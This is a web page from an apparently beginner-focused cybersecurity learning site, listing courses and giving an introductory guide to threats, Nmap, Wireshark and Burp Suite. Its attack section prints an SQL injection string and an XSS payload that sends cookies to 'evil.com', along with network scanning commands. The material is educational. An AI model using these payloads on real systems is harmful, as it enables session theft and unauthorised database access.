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Master Cybersecurity
At Your Own Pace

Structured roadmaps from absolute beginner to expert — covering offensive security, defensive ops, malware analysis, cloud security, and more.

Beginner ⏱ 40 hrs · 12 modules ✓ Completed
Cybersecurity Fundamentals

The perfect starting point. Learn networking basics, CIA triad, common threats, password security, and how to think like a defender.

networkingcia-triadthreatslinux-basics
Intermediate ⏱ 80 hrs · 20 modules
Ethical Hacking & Penetration Testing

Master the art of authorized hacking. Covers reconnaissance, scanning, exploitation, post-exploitation, and full pentest report writing.

nmapmetasploitburp-suiteoscp-prep
Beginner ⏱ 60 hrs · 15 modules
SOC Analyst Level 1

Start your blue team career. Learn SIEM tools, log analysis, incident triage, alert tuning, and threat detection fundamentals used in real SOCs.

siemsplunklog-analysisincident-response
Advanced ⏱ 100 hrs · 25 modules
Malware Analysis & Reverse Engineering

Dissect malware samples using static and dynamic analysis. Learn x86 assembly, debugging, IDA Pro, Ghidra, and sandbox evasion techniques.

ghidraassemblyida-prosandbox
Intermediate ⏱ 70 hrs · 18 modules
Cloud Security (AWS / Azure / GCP)

Secure cloud environments from misconfiguration and attack. IAM, S3 bucket security, VPC design, container security, and cloud-native SIEM.

awsiamkubernetesterraform
Intermediate ⏱ 55 hrs · 14 modules
Web Application Hacking

Master OWASP Top 10 — SQL injection, XSS, CSRF, SSRF, XXE, broken auth, and more. Hands-on labs with Burp Suite and real vulnerable apps.

owaspburp-suitesqlixss
Advanced ⏱ 85 hrs · 22 modules
Digital Forensics & Incident Response

Investigate breaches like a pro. Memory forensics, disk imaging, network forensics, timeline analysis, and writing court-admissible reports.

volatilityautopsywiresharkdfir
Beginner ⏱ 30 hrs · 10 modules
CTF for Beginners

Learn to compete in Capture The Flag competitions. Covers crypto challenges, steganography, web exploitation, binary exploitation, and forensics flags.

cryptostegopwnweb
Advanced ⏱ 90 hrs · 23 modules
Threat Hunting & APT Detection

Hunt APTs before they cause damage. MITRE ATT&CK framework, hypothesis-driven hunting, threat intel fusion, and adversary emulation using Atomic Red Team.

mitre-attackthreat-huntingyarasigma
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Beginner's Guide to Cybersecurity

Everything you need to get started — no prior experience required. Real concepts, real tools, no fluff.

Cybersecurity is the practice of protecting systems, networks, and data from digital attacks, unauthorized access, and damage.

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Confidentiality

Only authorized people can access information. Enforced via encryption, access controls, and authentication.

Integrity

Data is accurate and hasn't been tampered with. Enforced via hashing, digital signatures, and checksums.

Availability

Systems are up and accessible when needed. Protected against DDoS, outages, and ransomware.

Types of Threat Actors
  • Script Kiddies — Unskilled attackers using pre-built tools. Noisy but common.
  • Hacktivists — Politically motivated. Target governments and corporations.
  • Cybercriminals — Financial motivation. Run ransomware, phishing, fraud.
  • APT Groups — Advanced Persistent Threats. State-sponsored, stealthy, long-term.
  • Insiders — Employees or contractors with access misusing it intentionally or accidentally.
🎣PhishingCommon

Fake emails/websites tricking users into revealing credentials or installing malware. Spear phishing targets specific individuals with personalized content.

Defense: Email filtering, user training, MFA, DMARC/SPF/DKIM.
🦠MalwareHigh Risk

Malicious software: viruses (self-replicating), trojans (disguised as legit), ransomware (encrypts files for ransom), spyware (exfiltrates data silently).

Defense: AV/EDR, patch management, application whitelisting.
💉SQL InjectionWeb

Attacker inserts SQL code into input fields to manipulate database queries — dumping user tables, bypassing login, or deleting data.

SELECT * FROM users WHERE email = '' OR 1=1 --'
Defense: Parameterized queries, prepared statements, input validation.
📜Cross-Site Scripting (XSS)Web

Injecting malicious scripts into web pages viewed by other users. Steals cookies, session tokens, or redirects users to phishing sites.

<script>document.location='evil.com?c='+document.cookie</script>
Defense: Content Security Policy (CSP), output encoding, input sanitization.
🕵️Man-in-the-MiddleNetwork

Attacker intercepts communication between two parties — reading, modifying, or injecting data in transit. Common on unencrypted public WiFi.

Defense: TLS/HTTPS everywhere, certificate pinning, VPN on public networks.
💥DDoSAvailability

Distributed Denial of Service — flooding servers with requests from thousands of compromised machines (botnets) until they crash.

Defense: CDN/DDoS mitigation (Cloudflare), rate limiting, anycast routing.

Nmap is the industry-standard tool for network discovery and security auditing. It maps which hosts are up, what ports are open, and what services are running.

terminal
$ nmap 192.168.1.1# Basic scan — ping + top 1000 ports
$ nmap -sV 192.168.1.1# Detect service versions
$ nmap -O 192.168.1.1# OS fingerprinting (needs root)
$ nmap -p 1-65535 192.168.1.1# Scan ALL ports
$ nmap -A 192.168.1.0/24# Aggressive scan on entire subnet
$ nmap -sS -sU 192.168.1.1# TCP SYN + UDP scan
⚠️ Legal Note: Only scan networks you own or have explicit written permission to test. Unauthorized scanning is illegal in most jurisdictions.

Wireshark captures and analyzes network traffic in real time. Essential for understanding protocols, debugging network issues, and detecting malicious traffic patterns.

wireshark display filters
http# Show all HTTP traffic
ip.addr == 192.168.1.5# Filter by IP address
tcp.port == 443# HTTPS traffic only
dns# All DNS queries and responses
tcp.flags.syn == 1 and tcp.flags.ack == 0# Detect port scans
frame contains "password"# Find plaintext credentials (!)

Burp Suite is the go-to platform for web application security testing. It acts as a proxy between your browser and the target, letting you intercept, modify, and replay every HTTP request.

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Proxy

Intercepts browser traffic. Inspect and modify requests before they reach the server.

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Repeater

Replay and modify individual HTTP requests to probe for vulnerabilities manually.

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Intruder

Automated fuzzing of parameters with wordlists to find injection points, brute-force auth, etc.

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Scanner

Active vulnerability scanner (Pro only) that automatically finds SQLi, XSS, SSRF, and more.

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Paths Aligned to Industry Certs

Our learning paths are designed to prepare you for the most respected certifications in the industry.

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OSCP
Offensive Security
Advanced
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CEH
EC-Council
Intermediate
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CompTIA Security+
CompTIA
Beginner
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AWS Security
Amazon Web Services
Intermediate
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CISSP
ISC²
Advanced
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GCIH
SANS / GIAC
Intermediate

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